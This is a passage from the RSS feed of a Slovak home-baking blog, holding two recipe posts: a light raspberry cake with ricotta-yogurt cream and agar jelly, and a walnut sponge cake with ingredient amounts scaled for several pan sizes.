					<description><![CDATA[<p>Ak máte s príchodom jarných&#160;dní chuť na niečo odľahčené, určite sa vám táto ľahká ovocná torta s malinami bude páčiť. Viem si ju predstaviť aj v jahodovej verzii, alebo v lete s čučoriedkami, alebo s ríbezľami, s višňami či černicami&#8230; dajte na ňu, čo máte doma a radi, len si ju prosím vás upečte, lebo je famózna :-) Krém je ako obláčik, aj piškóta je krehká.&#160;Nabudúce pečiem korpus&#160;rovno z dvojitej dávky, nech je torta vyššia a ak ste aj vy [&#8230;]</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2017/04/29/lahka-ovocna-torta/">Ľahká ovocná torta</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Ak máte s príchodom jarných&nbsp;dní chuť na niečo odľahčené, určite sa vám táto ľahká ovocná torta s malinami bude páčiť. Viem si ju predstaviť aj v jahodovej verzii, alebo v lete s čučoriedkami, alebo s ríbezľami, s višňami či černicami&#8230; dajte na ňu, čo máte doma a radi, len si ju prosím vás upečte, lebo je famózna :-) Krém je ako obláčik, aj piškóta je krehká.&nbsp;Nabudúce pečiem korpus&nbsp;rovno z dvojitej dávky, nech je torta vyššia a ak ste aj vy milovníci jemnej piškóty, urobte tak tiež.</p>


<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="681" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2017/04/DSC_0087-1024x681.jpg" alt="" class="wp-image-1820"/></figure>



<h2 class="wp-block-heading">Ľahká ovocná torta </h2>



<h3 class="wp-block-heading">Piškóta:</h3>



<ul class="wp-block-list"><li>3 vajcia</li><li>60 g špaldovej polohrubej múky</li><li>60 g trstinového cukru</li><li>3 PL repkového oleja (používam dmBio)</li><li>štipka sódy bikarbóny</li><li>štipka soli</li><li>forma na pečenie Ø&nbsp;24 cm</li></ul>



<p>Žĺtky oddelíme od bielok. <strong>Bielka šľaháme</strong> so štipkou soli v mixéri pri vysokých obrátkach takmer dotuha. <strong>Pridáme cukor</strong> a šľaháme ďalej cca 4-5 minút, kým je sneh pevný. Na nižších obrátkach striedavo <strong>pridávame žĺtko a olej.</strong> Metličkou zľahka <strong>vmiešame múku</strong> zmiešanú so sódou bikarbónou. Cesto uložíme do formy vystlanej papierom na pečenie. Pečieme <strong>pri 150 st. C 30 minút</strong>, kým sa oddeľujú okraje, alebo skúška špajlou. (Ak pečiete z dvojitej dávky, treba aj 40 minút.) Korpus necháme vychladnúť na mriežke.</p>



<h3 class="wp-block-heading">Krém:</h3>



<ul class="wp-block-list"><li>200 g stečeného jogurtu* (alebo kúpená smotanová nátierka typu lučina)</li><li>250 g ricotty</li><li>50 g trstinového cukru</li><li>1/2 KL bourbonskej vanilky dmBio</li></ul>



<p>*<strong>Stečený jogurt si pripravíme deň vopred</strong> &#8211; cca 400 g balenie hustého smotanového jogurtu dáme do riedšej utierky alebo gázy a necháme stiecť od srvátky, získame tak asi 200 g hustejšej hmoty (dá sa využiť aj naslano ako nátierka), po 24 hod. v chladničke je to hotové.</p>



<p><em><strong>Tip:</strong> radi si pripravujete domáce produkty? <a href="https://www.zosrdcadohrnca.sk/2020/05/27/domaci-jogurt-moje-skusenosti-s-pripravou/" target="_blank" rel="noreferrer noopener">Urobte si domáci jogurt</a> podľa môjho receptu.</em></p>



<h3 class="wp-block-heading">Želatína:</h3>



<ul class="wp-block-list"><li>400 g ovocia (čerstvé alebo mrazené)</li><li>300 ml ovocnej šťavy</li><li>1 ČL želatíny agar-agar</li></ul>



<p>Stečený jogurt zmiešame s ricottou, cukrom a vanilkou. Natrieme na piškótu uloženú v tortovej forme, poukladáme ovocie a odložíme do chladničky. Želatínu pripravujem z riasy agar-agar, je veľmi chutná a zdravá. Lyžičku agaru zamiešame do ovocnej šťavy, necháme 30 minút napučať. Potom dáme variť, keď začne vrieť, na slabučkom ohni povaríme 1-2 minúty a necháme chladnúť. Z riedkej tekutiny chladnutím vznikne želatína. Keď už trošku hustne (asi po 20 &#8211; 30 min.), nalejeme na tortu s ovocím a je to hotové. Keď veľmi zhustne, stačí znova povariť.&nbsp;Necháme 2 hodinky v chladničke a môžete podávať.</p>



<p><em>Malá rada &#8211; krém na tortu natrite až k bokom tortovej formy, aby vám želatína nikde nevytiekla ako mne :D</em></p>



<p>Hľadáte viac inšpirácie na domáce torty? Pozrite si <a href="https://www.zosrdcadohrnca.sk/?s=torta" target="_blank" rel="noreferrer noopener">moje recepty</a> na torty jednoduché aj slávnostné. </p>



<span id="more-1818"></span>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="681" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2017/04/DSC_0027-1024x681.jpg" alt="" class="wp-image-1819"/></figure>



<p>Ak vyskúšate ľahkú ovocnú tortu podľa môjho receptu, podeľte sa o to v komentároch.</p>



<p>Ela</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2017/04/29/lahka-ovocna-torta/">Ľahká ovocná torta</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.zosrdcadohrnca.sk/2017/04/29/lahka-ovocna-torta/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Orechová torta</title>
		<link>https://www.zosrdcadohrnca.sk/2016/09/16/orechova-torta/</link>
					<comments>https://www.zosrdcadohrnca.sk/2016/09/16/orechova-torta/#comments</comments>
		
		<dc:creator><![CDATA[Ela]]></dc:creator>
		<pubDate>Fri, 16 Sep 2016 14:11:03 +0000</pubDate>
				<category><![CDATA[Bezlepkové]]></category>
		<category><![CDATA[Pečenie a dezerty]]></category>
		<category><![CDATA[orechová torta]]></category>
		<category><![CDATA[orechy]]></category>
		<category><![CDATA[torta]]></category>
		<guid isPermaLink="false">https://www.zosrdcadohrnca.sk/wp02/?p=1116</guid>

					<description><![CDATA[<p>Už dlhšie som chcela recept na jemný korpus odľahčený od klasickej múky a tony cukru, ktorý ale bude univerzálny pri plnení a stále dosť krehký. Moje cukrárske zručnosti si trénujem len príležitostne pri pečení tort na rodinné oslavy a tak sa mi väčšinou podarí skĺznuť do čokoládovej istoty&#8230;ale keď sa mi už omrzela čokoládová torta plnená čokoládovým krémom a poliata čokoládou, napadla mi &#8230;orechová torta! :D Na orechové torty je u nás síce odborníčka moja staršia sestra, ktorej poctivé orechové korpusy plnené maslovým krémom [&#8230;]</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2016/09/16/orechova-torta/">Orechová torta</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Už dlhšie som chcela recept na jemný korpus odľahčený od klasickej múky a tony cukru, ktorý ale bude univerzálny pri plnení a stále dosť krehký. Moje cukrárske zručnosti si trénujem len príležitostne pri pečení tort na rodinné oslavy a tak sa mi väčšinou podarí skĺznuť do čokoládovej istoty&#8230;ale keď sa mi už omrzela čokoládová torta plnená čokoládovým krémom a poliata čokoládou, napadla mi &#8230;orechová torta! :D Na orechové torty je u nás síce odborníčka moja staršia sestra, ktorej poctivé orechové korpusy plnené maslovým krémom nenechajú chladnými ani zarytých vyznávačov hesla &#8222;najlepší dezert je aj tak klobása!&#8220;, tak som jej klasiku ponechala a skúsila svoju verziu.</p>
<p><span id="more-1116"></span></p>
<blockquote><p>Pre bezlepkovú variantu vymeňte špaldovú múku v recepte za mandľovú.</p></blockquote>
<h2>Orechová torta:</h2>
<h3><img loading="lazy" decoding="async" class="alignright  wp-image-1241" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2016/09/DSC_0210-681x1024.jpg" alt="" width="508" height="764" /><br />
Korpus Ø 24 cm :</h3>
<p>/nižšie máte prerátané aj väčšie alebo menšie korpusy/</p>
<ul>
<li>5 vajec</li>
<li>80 g trstinového cukru</li>
<li>60 g mletých orechov</li>
<li>40 g bielej špaldovej múky</li>
<li>20 g pohánkovej múky</li>
<li>5 PL oleja</li>
<li>1 ČL vínneho kameňa</li>
<li>štipka soli</li>
</ul>
<h3>Ako na korpus:</h3>
<p>Žĺtka oddelíme od bielkov. Bielky vyšľaháme so štipkou soli takmer dotuha. Po lyžiciach pridávame trstinový cukor a mixujeme na vysokých obrátkach celkom dotuha, cca 5 minút. Do tuhých bielkov jemne vmiešame striedavo žĺtko a 1 PL oleja, postupne mleté orechy a preosiatu múku s vínnym kameňom. Pečieme pri 180 °C  cca 35-40 minút.</p>
<h3>Na krém potrebujeme:</h3>
<ul>
<li>250 ml šľahačkovej smotany</li>
<li>250 ml mascarpone</li>
<li>150 g jemného tvarohu</li>
<li>trstinový cukor podľa chuti</li>
<li>džem na potretie korpusu (lesné ovocie, malinový,&#8230;)</li>
<li>mandľové lupienky na ozdobu</li>
</ul>
<p>V mise vyšľaháme spolu smotanu na šľahanie s mascarpone tvarohom a cukrom dotuha. Korpus rozrežeme, natrieme tmavým džemom a polovicou plnky. Prikryjeme druhou polovicou, znova natrieme džemom, zvyšnú plnku natrieme navrchu a po bokoch, ozdobíme mandľami a dáme stuhnúť.</p>
<p><strong>Tu som vám prerátala množstvo surovín na väčšie alebo menšie korpusy, ak by ste piekli viac poschodí. Množstvo plnky si podľa toho prispôsobte:</strong></p>
<p><!--more--></p>
<p><span style="text-decoration: underline;">&#8211; forma s Ø 26-28 cm:</span> 6 vajec, 95 g cukru, 75 g mletých orechov, 50 mg bielej špaldovej múky, 25 g pohánkovej múky, 6 PL oleja, 1 a 1/4 ČL vínneho kameňa, štipka soli.</p>
<p><span style="text-decoration: underline;">&#8211; forma s Ø 21-22 cm:</span> 4 vajcia, 65 g cukru, 50 g mletých orechov, 30 g bielej špaldovej múky, 16 g pohánkovej múky, 4 PL oleja, 3/4 ČL vínneho kameňa, štipka soli</p>
<p><span style="text-decoration: underline;">&#8211; forma s Ø 18-20 cm:</span> 3 vajcia, 50 g cukru, 35 g mletých orechov, 25 g bielej špaldovej múky, 12 g pohánkovej múky, 3 PL oleja, 1/2 ČL vínneho kameňa, štipka soli</p>
<p><img loading="lazy" decoding="async" width="1024" height="1024" class="size-large wp-image-1258 aligncenter" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2016/09/Desktop2-4-1024x1024.jpg" alt="" /></p>
<p>Ak vyskúšate orechovú tortu podľa môjho receptu, podeľte sa o to v komentároch.</p>
<p>Ela</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2016/09/16/orechova-torta/">Orechová torta</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.zosrdcadohrnca.sk/2016/09/16/orechova-torta/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
	</channel>
</rss>
